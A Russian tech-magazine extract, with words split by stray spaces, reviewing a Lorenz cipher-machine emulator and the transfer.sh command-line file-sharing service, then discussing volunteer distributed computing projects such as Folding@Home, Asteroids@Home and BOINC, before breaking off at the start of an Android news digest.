НЕМЕЦКОЙ ШИФРОВАЛЬНОЙ МАШИНЫ ВРЕМЕН ВТОРОЙ
МИРОВОЙ2
Ты навер няка слы шал про машину «Эниг ма» и про то, как англий ские
крип тогра фы  из  Блет чли‐пар ка  под  руководс твом  Ала на  Тьюрин га
взло мали  ее  шифр.  Одна ко  «Эниг ма»  —  не  единс твен ная  шиф ‐
роваль ная  машина  фашист ской  Гер мании.  Агре гат  под  наз вани ем
«Лоренц»  (Lorenz  SZ),  в  отли чие  от  нее,  не  был  пор тативен  и  тре ‐
бовал  при сутс твия  двух  опе рато ров.  Сайт    поможет
тебе перенес тись назад во вре мени и поп робовать себя в их деле.

Virtual  Lorenz

Пер вое, что нуж но сде лать, зай дя на сайт, — вык лючить звук. Аутен ‐
тичный  шум  машины  —  это  безус ловная  зас луга  раз работ чиков,
одна ко  в  тишине  раз бирать ся  с  кноп ками  и  рубиль никами  будет
гораз до ком фор тнее.

Те перь  можешь  осмотреть ся.  Свер ху  ты  уви дишь  кар тинку
с изоб ражени ем час ти машины и дат чики с под рагива ющи ми стрел ‐
ками — это всё декора ции. Чуть пра вее — поле для тек ста, который
будет  шиф ровать ся.  Ты  можешь  заменить  его  сво им  или  печатать
сооб щение  на  кла виату ре —  реаль ной  или  вир туаль ной  (она  рас ‐
положе на  левее  и  ниже).  Рядом  с  кла виату рой  —  замок,  ключ
от  которо го  дол жен  был  быть  толь ко  у  стар шего  офи цера  (ты  же
можешь  откры вать  и  зак рывать  крыш ку  в  свое  удо воль ствие);
ниже — рубиль ник, для вклю чения и вык лючения машины.

Са мое инте рес ное рас положе но вни зу:  сле ва — поля для отоб ‐
ражения тек ста, спра ва — боль шое поле с циф рами, в котором выс ‐
тавля ются  началь ные  зна чения.  Пос коль ку  «Лоренц»  исполь зует
шифр  Вер нама  (то  есть  одно разо вые  блок ноты  с  клю чами  шиф ‐
рования,  которые  переда ются  из  рук  в  руки),  опе ратор  пер вым
делом дол жен был выс тавить нуж ные зна чения из блок нота и лишь
потом что‐то переда вать или при нимать.

Вот  прос той  при мер  работы.  Выс тавь  любые  циф ры,  наж ми  Set
Wheels  (задать  зна чение шес теренок),  а  затем  напеча тай,  ска жем,
HELLO.  В  поле  Send/Recv  появит ся  шиф рован ный  текст.  Теперь
сбрось  содер жимое  полей  Local  и  Send/Recv  и  сно ва  напиши
HELLO.  Шиф рован ный  текст  будет  дру гим,  пос коль ку  шес терен ки
уже смес тились с началь ной позиции. Сно ва наж ми Set Wheels:  ты
вер нешь  колеса  машины  в  позицию,  которая  соот ветс тву ет  стар ‐
товому  коду,  и  теперь шиф рован ный  текст  вый дет  таким  же,  как  и
в пер вый раз.

Lorenz SZ42

Нес мотря на при мене ние одно разо вых кодов, шифр «Лорен ца» уда ‐
лось  взло мать.  Бри тан ская  раз ведка  перех ватила  два  сооб щения,
которые  были  переда ны  с  оди нако вым  клю чом,  но  меж ду  переда ‐
чами  нем цы  испра вили  пару  слов.  Эта  ошиб ка  поз волила  бри тан ‐
ско му  крип тогра фу  Уиль яму  Тату  вос про извести  алго ритм  машины
и  впос ледс твии  под бирать  клю чи  и  рас шифро вывать  сооб щения.
Кста ти,  эму лятор Virtual  Lorenz  раз работан  к  сто летию со дня рож ‐
дения Тата.

Под робнее об исто рии крип тогра фии читай в статье «
».

Пог ружение
в крип ту: как работа ют самые извес тные шиф ры в исто рии

TRANSFER.SH — УДОБНЫЙ ШЕЙРИНГ ФАЙЛОВ ДЛЯ
ФАНАТОВ КОМАНДНОЙ СТРОКИ3
Из удоб ных средств поделить ся фай лом шей рин говые сер висы нын ‐
че  прев ратились  в  «фай лопомой ки»  —  мес та,  завален ные  пират ‐
ским  кон тентом,  вла дель цы  которых  идут  на  любые  самые  низ кие
улов ки, толь ко что бы выжать из посети теля копе ечку. Тем отраднее
видеть,  что  кто‐то  отва жил ся  сде лать  чис тый,  прос той  и  удоб ный
сер вис для пересыл ки фай лов.

Заг рузить  что‐нибудь  на  сер вер  мож но,  прос то  открыв 
и  перетя нув  файл  на  окно  бра узе ра.  Если  это  не  кар тинка,  то  ты
получишь две ссыл ки — на zip и на tar.gz. Кар тинки же отправ ляют ся
в  виде  ссы лок  на  стра ницы  с  пред прос мотром  (нет,  выцара пать
ссыл ку для встав ки изоб ражения на свой сайт не вый дет).

transfer.sh

Но глав ное, для чего пред назна чен transfer.sh, — это заг рузка фай ‐
лов из коман дной стро ки. Если у тебя Linux или macOS, то уста нав ‐
ливать,  ско рее  все го,  ничего  не  нуж но  —  хва тит  ути литы  curl,
которая обыч но есть в сис теме. Ты прос то пишешь

curl ‐‐upload‐file имя‐файла https://transfer.sh/имя‐файла

и в ответ получа ешь ссыл ку типа 
.  Ни  авто риза ция,  ни  регис тра ция  не  нуж ны

(вер нее, на transfer.sh пока что вооб ще нет ничего подоб ного). Если
же тебя вол нует, что кто‐то может под смот реть твои фай лы, то пред ‐
лага ется самос тоятель но зашиф ровать их. В кон це кон цов, раз все
работа ет  из  коман дной  стро ки,  соб рать  шиф рование  и  заг рузку
в один скрипт будет нес ложно.

https://transfer.sh/случайные
символы/имя‐файла

Дан ные  хра нят ся 14 дней, но при этом огра ниче ние по раз меру
очень демок ратич ное — раз решено  заг ружать  до 10  Гбайт  за раз.
Как  раз работ чики  пла ниру ют  защищать ся  от  пре тен зий  пра вооб ‐
ладате лей, кон тент которых навер няка будут шей рить, не сооб щает ‐
ся. Монети зация  в  виде  пожер тво ваний  бит кой нами  тоже  не  тянет
на пер спек тивную стра тегию — в слу чае боль шого нап лыва народа
это го вряд ли хва тит.

Так  что  не  будем  загады вать,  но  ска жем  авто рам  спа сибо
за хорошую вещь, пока она сущес тву ет. Кста ти, если пуб личный сер ‐
вер  тебя  не  устра ивает,  ты можешь    и  захос тить
сер вис у себя.

ска чать исходни ки

mailto:apismenny@gmail.com
https://easyeda.com/ru
https://easyeda.com/Doc/Tutorial/
http://www.falstad.com/circuit-java/
http://www.falstad.com/circuit/
http://lorenz.virtualcolossus.co.uk/LorenzSZ/
https://xakep.ru/2015/12/24/crypto-part1/
https://transfer.sh/
https://github.com/dutchcoders/transfer.sh/
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СЦЕНА

Вла дель цам  сов ремен ных  компь юте ров  и  мобиль ных  гад ‐
жетов  дос тупны  мощ ней шие  вычис литель ные  ресур сы,
которые  исполь зуют ся  на  пол ную  катуш ку  толь ко  изредка.
При  этом  сущес тву ет  мас са  инте рес ных  задач,  решени ем
которых мож но заг рузить прос таивающую тех нику. Объ еди ‐
нив шись, тысячи пер соналок, ноут буков и даже смар тфо нов
могут выс тупать нарав не с супер компь юте рами.

GRID ВМЕСТО СУПЕРКОМПЬЮТЕРА
Идея  объ еди нить  девай сы  из  раз ных  угол ков  пла неты  в  боль шой  клас тер
не нова, но реаль но дос тижимой она ста ла толь ко с раз вити ем ско рос тно го
интерне та. Один в поле не воин, а мировая паути на лег ко поз воля ет соб рать
циф ровое вой ско. Те, кто встал на тем ную сто рону, соз дают для сво их чер ных
дел  бот неты. Они  досят  сай ты,  брут форсят  пароли,  рас сыла ют  спам  и  зас ‐
тавля ют  чужие  устрой ства  май нить  для  них  крип товалю ту.  Те,  кто  остался
на  свет лой  сто роне,  исполь зуют  рас пре делен ные  вычис ления  для  доб рого
и  веч ного —  раз вива ют  иссле дова тель ские  про екты,  дви гают  науку  и  улуч ‐
шают жизнь в целом, как это и подоба ет нас тоящим хакерам.

Ор ганиза ция  рас пре делен ных  вычис лений  —  тру доем кое  занятие,
которое тре бует спе цифи чес ких зна ний. В зарубеж ной литера туре их обыч но
называ ют сло вом grid или гетеро ген ными вычис лени ями. Пер вый тер мин при ‐
жил ся  потому,  что  каж дый  компь ютер обра зует  узел  сети  (grid),  а  вто рой —
пос коль ку  все  узлы  раз ные  по  сво ей  архи тек туре  и  набору  уста нов ленно го
соф та. Основная слож ность зак люча ется имен но в том, что бы зас тавить этот
зоопарк работать как еди ное целое.

НАУКА НАЧИНАЕТСЯ ТАМ, ГДЕ ПОЯВЛЯЕТСЯ МАТЕМАТИКА
В  свое  вре мя  мне  доводи лось  обра баты вать  тон ны  ста тис тичес ких  дан ных,
выпол нять  кван тово‐химичес кие  рас четы  и  работать  с  иссле дова теля ми,
увле чен ными  самыми  раз ными  областя ми.  Ины ми  сло вами,  у  меня  есть
некото рое пред став ление о роли вычис лений в науке и о том, как дела обсто ‐
ят в реаль нос ти.

По обра зова нию я врач, поэто му нач ну с близ кой мне темы. В сов ремен ‐
ных медицин ских  иссле дова ниях  диаг ности ка  и  лечение мно жес тва  заболе ‐
ваний свя заны с изу чени ем струк туры бел ков и их вза имо дей ствия на молеку ‐
ляр ном  уров не.  Фол динг  полипеп тидных  цепочек,  докинг  лиган дов,  генети ‐
чес кие  и  биохи мичес кие  рас четы  —  все  это  тре бует  колос саль ных  вычис ‐
литель ных ресур сов, которые науч ному кол лекти ву нег де взять. Они либо сто ‐
ят зап редель но дорого, либо теоре тичес ки есть, но на прак тике к ним не под ‐
сту пить ся. Такая ситу ация сло жилась не толь ко в Рос сии.

Лет  восемь  назад  вице‐пре зидент  ком пании  CDI  Джей сон Фар ке  (Jason
Farqué)  про ник ся  этой  проб лемой  спол на.  Тог да  выяс нилось,  что  его  отец
стра дает  от  хореи  Ген тин гто на  —  неиз лечимо го  нас ледс твен ного  заболе ‐
вания. Про явля ется оно обыч но на вто рой полови не жиз ненно го пути, и что
с ним делать — ник то не зна ет. Иссле дова ния вяло идут аж с кон ца XIX века,
но даже механиз мы раз вития болез ни  тол ком не были извес тны,  ког да отцу
Джей сона пос тавили этот страш ный диаг ноз.

Фар ке начал читать о заболе вании всю дос тупную литера туру. В кли ничес ‐
кой  прак тике  опи сыва лась  толь ко  под держи вающая  терапия  и  сим пто мати ‐
чес кое лечение, но он быс тро нашел пер спек тивные иссле дова ния. Обра бот ‐
ка  их  дан ных  выпол нялась  в  про екте  Folding@Home  —  пер вой  сети
для биоме дицин ских рас пре делен ных вычис лений на доб роволь ной осно ве.
Суть про екта прос та: любой поль зователь может уста новить бес плат ное при ‐
ложе ние (пер вая вер сия была скрин сей вером), и, ког да компь ютер не занят
дру гими тяжелы ми задача ми, он будет выпол нять рас четы бел ковых молекул
в поис ках новых лекарств и методов лечения.

Пос мотрев  ста тис тику  про екта,  Фар ке  понял,  что  боль шая  часть  доб ‐
роволь цев  не  вно сит  замет ного  вкла да.  Ког да‐то  они  при соеди нились,
но  теперь  не  выпол няют  даже  одно го  задания  в  месяц.  Мер твые  души,
с  которы ми раз работ ка новых методов лечения  так и оста нет ся приз рачной
надеж дой, если не убе дить людей занять ся проб лемой всерь ез.

Луч ше все го мотиви рует лич ный при мер, поэто му Фар ке соб рал мощ ный
клас тер  (или,  как  сей час  бы  ска зали,  фер му)  из  17  топовых  на  тот  момент
виде окарт  Nvidia  GeForce  GTX  295  и  про цес соров  AMD  Phenom
X4 9550 с общей пот ребля емой мощ ностью под 7 киловатт. В даль нейшем он
добавил в стой ку еще пять виде окарт — можешь пос мотреть на эту конс трук ‐
цию  .на видео

Его фер ма получи ла наз вание Atlas Folder, быс тро выр валась в топ и пос ‐
лужила  хорошим  мотива тором.  Доб роволь цы  сот нями  в  день  под клю чали
свои  игро вые  компь юте ры  и  прис тавки  PlayStation  3,  а  сум марная  про изво ‐
дитель ность   перева лила за 19 «чис тых» петаф лопс. В пос леду ‐
ющие годы и в свои луч шие дни она пре выша ла 100 петаф лопс — это боль ‐
ше, чем у Sunway TaihuLight — самого мощ ного в мире супер компь юте ра.

Folding@Home

Atlas Folder — фраг мент клас тера из 23 виде окарт

При соеди нить ся  к  Folding@Home  про ще  прос того.  Дос таточ но  открыть
в Google Chrome  ,  и  бра узер  авто мати чес ки  заг рузит  и  нач нет
выпол нять  рас чет  оче ред ного  бел ка.  Ты  можешь  ввес ти  свои  дан ные
или выпол нять рас четы ано ним но. В при мере ниже модели рует ся докинг про ‐
теин киназы  С  (PKC)  с  раз личны ми  лиган дами.  Глав ным  обра зом —  с  бел ‐
ковыми рецеп торами кле точ ной мем бра ны. Механизм это го вза имо дей ствия
важен для раз работ ки новых лекарс твен ных пре пара тов от болез ни Аль цгей ‐
мера.

эту стра нич ку

Би охи мичес кие рас четы пря мо в бра узе ре

Ес ли  тебе  неудоб но  запус кать  рас четы  в  бра узе ре,  то  на  глав ной  стра нице
про екта есть ссыл ка на  . На боль шинс ‐
тво воп росов поможет най ти отве ты  .

клас сичес кое дес ктоп ное при ложе ние
стра ница FAQ

Ре зуль таты Folding@Home уже помог ли запол нить мно гие про белы в изу ‐
чении  нас ледс твен ных  заболе ваний.  Уста нов лены  опре делен ные  бел ки,
вызыва ющие  раз витие  патоло гии,  кодиру ющие  их  гены  и  непос редс твен но
дефек тные кодоны; выяс нены молеку ляр ные механиз мы патоге неза. Одна ко
это  толь ко начало. Чем  глуб же мы  хотим разоб рать ся в  какой‐то проб леме,
тем боль ше ресур сов пот ребу ется для это го на каж дом пос леду ющем эта пе.

ТЕМ ВРЕМЕНЕМ НА СЕРВЕРЕ
На сто роне кли ента науч ные рас четы выг лядят очень прос то, а на сер вере —
чер тов ски  слож но.  Что бы  соз дать  оче ред ное  биохи мичес кое  задание,  уче ‐
ным надо выб рать под ходящий белок (или дру гую молеку лу) и фор мализо вать
его  с  точ ностью  до  элек тро на.  Сна чала  по  этим  дан ным  будет  рас счи тана
приб лизитель ная  модель,  выпол нены  про вер ки,  а  затем  луч шие  кан дидаты
отпра вят ся на компь юте ры волон теров.

Кли ент ское  при ложе ние  авто мати чес ки  заг рузит  задания  и  будет  вычис ‐
лять уже точ ные углы и межатом ные рас сто яния в круп ной молеку ле. Отдель ‐
ные задания модели руют вза имо дей ствие двух и более молекул, а так же учи ‐
тыва ют вли яние рас тво рите ля и вно сят дру гие поп равки.

Пос ле  того  как  нес коль ко  компь юте ров  выпол нят  одно  и  то  же  задание,
сер вер  срав нит  резуль таты  и  при мет  решение:  счи тать  его  пра виль ным
или  тре бующим  пов торной  про вер ки.  Такой  под ход  поз воля ет  выпол нять
надеж ные  вычис ления  в  пос тоян но  меня ющей ся  сети,  узлы  которой  нель зя
счи тать доверен ными.

Для пос тро ения 3D‐модели полипеп тидных цепочек обыч но исполь зует ся
тер модина мичес кая  гипоте за  фол динга  бел ков,  выд винутая  Крис тианом
Бемером Анфинсе ном. За нее он в 1972 году получил Нобелев скую пре мию
по  химии.  По  точ ной  трех мерной  струк туре  бел ка  и  дру гих  орга ничес ких
молекул  мож но  рас счи тать  положе ние  их  активных  цен тров  и  всех

  групп. Эта информа ция поз воля ет  доволь но  точ но оце нить
реак цион ную  спо соб ность,  биоло гичес кую  активность,  потен циаль ные
области  при мене ния  и  уро вень  ток сичнос ти  соеди нения,  еще  не  имея
на  руках  самого  вещес тва.  Бла года ря  кван тово‐химичес ким  методам
на поряд ки уско ряет ся раз работ ка лекарств и диаг ности чес ких мар керов.

функциональных

В ДАЛЕКОЙ-ДАЛЕКОЙ ГАЛАКТИКЕ
Мо дели рова ние  бел ковых  струк тур  —  важ ная,  но  далеко  не  единс твен ная
задача,  которую  мож но  решать  с  помощью  рас пре делен ных  вычис лений.
Воп реки  закону Мура,  в  науч ных  кол лекти вах  пос тоян но  нарас тает  нех ватка
ИТ‐ресур сов. Во всем мире их льви ная доля задей ство вана в индус трии раз ‐
вле чений и в обра бот ке ком мерчес ких дан ных.

Ос трая фаза  экспе римен та может  длить ся  секун ды,  а  вот  ана лиз  иног да
рас тягива ется на месяцы, если не годы. К супер компь юте рам выс тра ивают ся
оче реди  уче ных,  либо  же  необ ходимые  гигабай ты  с  гигаф лопса ми  собира ‐
ются  по  кро хам  сре ди  волон теров.  При веду  нес коль ко  цифр  для  луч шего
понима ния мас шта бов.

Эк спе римен ты на Боль шом адронном кол лай дере генери руют с пол сотни
петабайт дан ных еже год но. Для их хра нения и обра бот ки пос тро ена отдель ‐
ная  сеть  ,  которая  объ еди ‐
няет  170  вычис литель ных  цен тров  в  42  стра нах  (вклю чая  Рос сию),  но  даже
с ней рас четы рас тягива ются на мно гие месяцы.

WLCG  (Worldwide  LHC  Computing  Grid)

Каж дый год авто мати чес кие обсерва тории получа ют боль ше дан ных, чем
уда валось соб рать за всю исто рию астро номии вплоть до начала XXI века. Я
ска зал  «каж дый  год»? Прос тите,  вспом нил  док лад  пятилет ней  дав ности.  Тут
мне  под ска зыва ют  —  уже  каж дые  два‐три  месяца,  а  ско ро  будет  каж дую
неделю.  Пос тоян но  совер шенс тву ются  инс тру мен ты  и  рас тут  объ емы  наб ‐
людений.

Нап ример,  толь ко  пер вый  телес коп  из  сис темы  Pan‐STARRS,  уста нов ‐
ленный  на  вер шине  вул кана  Мауна‐Кеа,  осна щен  камерой  с  раз решени ‐
ем 1,4 гигапик селя (мас сив из 60 CCD‐мат риц). По сним кам с нее был соз дан
циф ровой обзор неба раз мером в 2 петабай та. Этот обще дос тупный 
стал нас тоящим Клон дай ком для астро номов со все го мира.

ре сурс

Те лес коп Pan‐STARRS 1

TheSkyNet POGS — похожий про ект,  который был запущен Меж дународ ным
цен тром  ради оас тро номии  в  Пер те.  В  его  рам ках  компь юте ры  энту зиас тов
обра бота ли  50  тысяч  изоб ражений  галак тики  M100,  сня тых  тре мя  телес ‐
копами  в  раз ных  диапа зонах.  Сов ремен ные  астро номы  ред ко  смот рят
в  телес копы  сами.  Они  поруча ют  ана лиз  астро фотог рафий  компь юте ру,
и  сами  тоже  работа ют  с  сухими  циф рами.  Обы вате лю  же  всег да  хочет ся
роман тики и наг ляднос ти. Поэто му один из учас тни ков про екта сос тавил кар ‐
ту,  объ еди нив  боль шую  часть  кад ров  (45  тысяч).  Каж дая  точ ка  на  этой 

  с  раз решени ем  11,5  гигапик селя —  изоб ражение  целой  галак тики.
В этом лег ко убе дить ся, уве личи вая кар тинку (осто рож но, боль шой тра фик).

па ‐
нора ме

Сним ки подоб раны так, что раз личны ми цве тами выделе ны области фор ‐
мирова ния  новых  звезд  (белые  и  свет ло‐жел тые),  учас тки  рукавов  спи раль ‐
ной  галак тики без активно го обра зова ния  звезд  (фиоле товый) и  зоны скоп ‐
ления звезд глав ной пос ледова тель нос ти (крас ный). Если тем пы вычис лений
сох ранят ся, то из мил лионов сним ков уже к сле дующе му году получит ся соз ‐
дать совер шенно уни каль ный муль тис пек траль ный атлас звез дно го неба.

ПРИЗЕМЛЕННЫЕ ИНТЕРЕСЫ
Су щес тву ет  мно жес тво  дру гих  науч ных  про ектов,  которые  активно  раз вива ‐
ются  за  счет  доб роволь ных  вычис лений.  Боль шинс тво  из  них  нап равле но
на  фун дамен таль ные  иссле дова ния  или  астро номи чес кие  наб людения,
которые  тра дици онно  финан сиру ются  по  оста точ ному  прин ципу.  Одна ко
при желании мож но уви деть прак тичес кую цен ность в любом из них.

К  при меру,  в    рас счи тыва ют  объ емные  модели  асте ‐
роидов  по  резуль татам  фотомет рии.  Казалось  бы  —  ну  отри сова ли  они
холод ные каменю ки в ваку уме, опуб ликова ли пару ста тей — нам‐то что с это ‐
го?  Проб лема  в  том,  что  эти  глы бы  вре мена ми  про лета ют  слиш ком  близ ко
к Зем ле или вов се пада ют с неба.

Asteroids@Home

Счи тает ся,  что  веро ятность  пос тра дать  от  падения  асте роида  нич тожно
мала. Ее даже при водят в при мер как исче зающе малую величи ну на лек циях
по  теории  веро ятностей.  Одна ко  чем  боль ше  мы  изу чаем  асте роиды,  тем
силь нее при ходит ся повышать эту веро ятность.

Ари зон ский кра тер

Ас теро иды  изме няют  орби ту  из‐за  соуда рений,  эффекта  Ярков ско го  и  гра ‐
вита цион ных вли яний дру гих небес ных тел. К при меру, асте роид 99942 Апо ‐
фис диамет ром око ло 325 мет ров сбли зит ся с Зем лей в 2029 году, из‐за чего
изме нит свою орби ту и подой дет к нашей пла нете еще бли же на сле дующем
вит ке  в  2036  году.  Пока  веро ятность  его  падения  на  Зем лю  оце нива ется
как невысо кая, но она будет рас ти в бли жай шей пер спек тиве.

Толь ко  круп ных  удар ных  кра теров  на  Зем ле  обна руже но  более  двух сот.
Нап ример, озе ро Каракуль в Тад жикис тане обра зова лось на мес те падения
асте роида  око ло  пяти  мил лионов  лет  назад.  Пло щадь  озе ра  —  380  квад ‐
ратных километ ров. Пред став ляешь, какой силы был удар?

Пять мил лионов лет назад — это очень дав но, одна ко дру гой удар ный кра ‐
тер  —  Жаман шин  —  появил ся  в  Казах ста не  все го  10  тысяч  лет  назад.
Об  этом,  по  мне нию  док тора  геоло го‐минера логи чес ких  наук  Э.  П.  Изо ха,
сви детель ству ют  резуль таты  ана лиза  обна ружен ных  тек титов.  По  рас четам,
этот  кра тер  диамет ром  7  километ ров  и  глу биной  более  500  мет ров  обра ‐
зовал ся при падении асте роида раз мером 300 ± 100 мет ров в попереч нике.
Его  раз меры  при мер но  такие  же,  как  у  леген дарно го  Апо фиса,  вдох новив ‐
шего соз дателей пос тапока лип тичес ких игр.

Рас пре деле ние извес тных и матема тичес ки пред ска зан ных асте роидов

Сре ди  асте роидов  есть  очень  круп ные  и  мно жес тво  таких,  чьи  парамет ры
опре деле ны  лишь  приб лизитель но.  К  при меру,  асте роид  272  Анто ния  был
открыт  14  фев раля  1888  года  фран цуз ским  астро номом  Огюс том Шар луа.
Парамет ры  это го  асте роида  оста вались  неоп ределен ными  дол гое  вре мя.
Толь ко  в  2015  году  их  уда лось  уточ нить  по  дан ным фотомет ричес кого  ана ‐
лиза. Необ ходимые рас четы выпол нили два учас тни ка про екта рас пре делен ‐
ных вычис лений Asteroids@Home, а точ нее — их компь юте ры во вре мя прос ‐
тоя. С начала про екта ноут буки и дес кто пы тысяч волон теров со все го мира
вычис лили  уточ ненные  раз меры,  фор му  и  парамет ры  орби ты  более  чем
для 400 дру гих асте роидов.

Ан тония лета ет себе в глав ном поясе и никого не тро гает, но к нас тояще ‐
му  вре мени  уже  обна руже ны  более  6000  потен циаль но  опас ных  (сбли ‐
жающих ся  с  Зем лей)  асте роидов.  Мно гие  из  них  откры ты  сов сем  недав но.
Они раз делены на груп пы с поэти чес кими наз вани ями: Аму ры, Ато ны, Апол ‐
лоны и Ати ры. Вот толь ко в момент импакта даже ока зав шимся за нес коль ко
километ ров от мес та стол кно вения будет не до лирики.

Крас ные и жел тые точ ки — асте роиды, пред став ляющие опас ность для Зем ли

По ка  боль шая  часть  Зем ли  оста валась  неос воен ной,  асте роид ные  импакты
слу чались  в  без людных  и  малона селен ных  реги онах.  Сегод ня  таких  мест
оста ется все мень ше, и воп рос уже зак люча ется не в том, «упа дет ли на нас
с неба камень», а где и ког да это про изой дет.

Су щес тву ющие прог раммы иссле дова ния ближ него кос моса нес пособ ны
дать  точ ный  ответ  на  этот  воп рос. Впер вые  падение  асте роида было  пред ‐
ска зано  в  2008  году.  Опас ное  сбли жение  асте роида  2008  TC3  обна ружи ли
за  сут ки,  но  мес то  его  падения  вычис лили  лишь  очень  при мер но.  Из‐за
малого  диамет ра  (до  5  мет ров)  он  поч ти  пол ностью  сго рел  в  атмосфе ре
над тер ритори ей Судана, одна ко все рав но не исчез бес след но. Атмосфер ‐
ный взрыв оце нивал ся в одну‐две килотон ны.

По сов ремен ной клас сифика ции асте роида ми называ ют кос мичес кие тела
диамет ром от 30 мет ров — такие уже не сго рают в атмосфе ре дот ла, а успе ‐
вают выз вать зна читель ные раз рушения на повер хнос ти Зем ли.

Из менить тра екто рию асте роидов или раз рушить их до сбли жения с Зем ‐
лей в реаль нос ти пока невоз можно — не хва тит Брю сов Уил лисов, да и под ‐
ходящих  ракет  нет. Одна ко мы можем  внес ти  свой  вклад  в  решение общей
проб лемы, прос то поз волив  компь юте рам выпол нять астро номи чес кие рас ‐
четы во вре мя прос тоя. За один час виде окар та сред него клас са выпол няет
одно  задание  Asteroids@Home  (если  ты  в  это  вре мя  не  режешь ся
в Overwatch).

УНИВЕРСАЛЬНАЯ ПЛАТФОРМА BOINC
Ус пех  Folding@Home  ока зал ся  зарази тель ным,  и  мно гие  иссле дова тели
захоте ли пов торить его в сво их про ектах. Сегод ня есть готовые плат формы,
поз воля ющие  отно ситель но  прос то  раз вернуть  свою  сеть  доб роволь ных
вычис лений  или  в  пару  кли ков  при соеди нить ся  к  сущес тву ющей.  Пожалуй,
самой извес тной из них ста ла BOINC (Berkeley Open Infrastructure for Network
Computing). Она написа на на C++ и рас простра няет ся под лицен зией LGPL.

Идея  BOINC  —  та  же,  что  и  у  Folding@Home:  часть  сво бод ных  вычис ‐
литель ных  ресур сов  мож но  тра тить  на  решение  акту аль ных  науч ных  задач.
Бла года ря BOINC были успешно запуще ны сот ни про ектов в области матема ‐
тики, физики,  астро номии,  биохи мии и медици ны. Для  сво ей  чис логрыз ки  я
отби раю те про екты, которые уже дают зна чимые резуль таты. Желатель но —
дос тупные бес плат но для иссле дова телей все го мира.

Од новре мен ная работа двух про ектов и четырех задач в BOINC

 сущес тву ет с 10 апре ля 2002 года. Ее сов ремен ные вер ‐
сии дос тупны для Windows, Mac,  Linux  и Android. В  руб рике PC Zone  в  этом
номере  ты  най дешь  статью  про  BOINC,  где  мы  рас ска зыва ем  об  осо бен ‐
ностях нас трой ки, выборе про екта и про чих тех ничес ких тон костях.

Плат форма BOINC

ПОТРЕБНОСТИ ГНОСТИЧЕСКИЕ И АЛЬТРУИСТИЧЕСКИЕ
Поч ти  все  откры тые  про екты  рас пре делен ных  вычис лений  выпол няют ся
на  доб роволь ной  осно ве  и  не  пред полага ют  воз награж дения  учас тни ков.
Одна ко пос тоян но пред при нима ются попыт ки прос тимули ровать волон теров.
Нап ример,  прик рутить  к  плат форме  для  рас пре делен ных  вычис лений
какую‐нибудь  сто рон нюю  сис тему  поощ рений,  добавить  в  них  игро вой  эле ‐
мент  или  начис лять  крип товалю ту  про пор циональ но  объ емам  вычис лений.
Мы раз берем эту тему под робнее в одной из сле дующих ста тей.

Ча ще  все го  в  том  слу чае,  если  рас четы  на  тво ем  компь юте ре  при вели
к какому‐то откры тию, твой акка унт отме тят на стра нич ке про екта и приш лют
пись мо с  поз драв лени ями.  Так же  тебя будут  упо минать  в раз личных  чар тах,
отме чая оче ред ные дос тижения по объ ему и ско рос ти вычис лений.

Еще один популяр ный спо соб прив лечь вни мание — это раз ные кон курсы.
Нап ример,  ком пания  EVGA  устра ивает  Giveaway  day  и  разыг рыва ет  одну
из  топовых  виде окарт  сре ди  кран черов  BOINC.  Сер веры  сбо ра  ста тис тики
порой устра ивают сос тязания по наб ранным очкам и (опци ональ но) вру чают
при зы от спон соров.

Сей час в BOINC учас тву ет поч ти 4,5 мил лиона доб роволь цев. Один компь ‐
ютер  в  этом  море  незаме тен,  поэто му  кран черы  объ еди няют ся  в  коман ды.
Для  команд  при дума ны  отдель ные  сорев нования.  К  при меру,  вот  такие  —
по пра вилам чем пиона та «Фор мулы‐1».

Ко ман дный зачет в рас пре делен ных вычис лени ях на плат ‐
форме BOINC

Лич но  меня  куда  боль ше  раду ют  прак тичес кие  резуль таты  иссле дова ний,
быс трее  выпол нить  которые  помог ли мои  компь юте ры. Нап ример,  в  начале
года  была  опуб ликова на 

.  Эти  ред кие  ней трон ные  звез ды  най дены  волон терами  про екта  рас ‐
пре делен ных вычис лений Einstein@Home в ходе обра бот ки дан ных, получен ‐
ных от кос мичес кого гам ма‐телес копа Фер ми.

статья  об  откры тии  еще  13  молодых  гам ма‐пуль ‐
саров

Ра нее  в  дру гом  про екте  (GPUGrid)  волон теры  помог ли  в модели рова нии
поведе ния  мутиро вав ших  бел ков,  наруша ющих  экс прес сию  генов  и  внут ‐
рикле точ ные свя зи. Конеч но, это не откры тие «лекарс тва от рака», но важ ный
момент  в  понима нии  раз вития  зло качес твен ных  ново обра зова ний.  Статья
была  .  Каж дый  год  в  авто ритет ных  изда ниях  пуб лику ‐
ются десят ки не менее цен ных ста тей по рас четам кран черов. Авто ры иссле ‐
дова ний  всег да  упо мина ют  соот ветс тву ющие  про екты  рас пре делен ных
вычис лений и под черки вают, что без помощи волон теров их работа была бы
невоз можна.

опуб ликова на  в Nature
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Се год ня  в  выпус ке:  Android  O  и  его  про тиво речи вый
механизм  энер госбе реже ния,  iOS  10.3  и  фун кция  поис ка
науш ников,  LineageOS  и  режим  управле ния  одной  рукой.
А так же: соф твер ные осо бен ности Galaxy S8, боль шой отчет
Google  о  безопас ности  Android  и  его  эко сис темы,  раз бор
новой  вер сии  тро яна  Android/Ztorg,  при ложе ния,  скрыт но
уста нав лива ющие дру гие при ложе ния, и обзор новых ста тей
и биб лиотек для раз работ чиков.

ANDROID O
На вер ное,  глав ная  новость  мар та  —  это  релиз  превью‐вер сии  ,
которая, ско рее все го, будет иметь индекс 8.0 и, по слу хам, называть ся Oreo.
Новый  Android  отнюдь  не  стал  откро вени ем  и  боль ше  похож  на  инкре мен ‐
таль ный релиз с реали заци ей новых фун кций.

Android  O

Од но из  глав ных и в  то же вре мя про тиво речи вых нов шеств Android O —
это рас ширение механиз мов сох ранения энер гии: теперь бло киру ются неяв ‐
ные  широко веща тель ные  интенты  (они  исполь зуют ся,  нап ример,  что бы
откры вать  ссыл ки  с  помощью  при ложе ний‐кли ентов),  лимити рует ся  час тота
зап роса  информа ции о мес тополо жении  и  огра ничи вает ся  работа фоновых
служб.

Все эти огра ниче ния нак ладыва ются на работа ющие в фоне при ложе ния
и, в прин ципе, дос таточ но логич ны, но уже выз вали недоволь ство раз работ ‐
чиков.  Дело  в  том,  что  зап рет  на  исполне ние  фоновых  служб  фак тичес ки
хоронит  одну  из  луч ших  черт  Android  —  воз можность  бес пре пятс твен ной
работы  фоновых  при ложе ний  в  про тиво вес  при меня емой  в  iOS  и  Windows
Mobile  огра ничен ной  сис темы  фоновых  обра бот чиков  (ана лог  которой
